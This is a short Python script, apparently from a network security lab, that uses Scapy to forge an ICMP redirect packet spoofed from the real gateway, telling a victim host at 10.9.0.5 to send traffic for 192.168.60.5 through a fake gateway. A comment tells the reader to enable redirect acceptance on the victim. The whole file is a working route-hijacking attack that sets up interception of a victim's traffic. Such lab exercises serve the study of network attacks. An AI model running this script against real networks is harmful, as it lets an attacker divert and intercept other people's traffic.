#!/usr/bin/env python3
from scapy.all import *  

# run on victim: sysctl net.ipv4.conf.all.accept_redirects=1

victim = '10.9.0.5'
real_gateway = '10.9.0.11'
fake_gateway = '10.9.0.111'

ip = IP(src = real_gateway, dst = victim)

# Code 1 = Redirect datagrams for the Host.

icmp = ICMP(type=5, code=1)
icmp.gw = fake_gateway

ip2 = IP(src = victim, dst = '192.168.60.5')
send(ip/icmp/ip2/ICMP());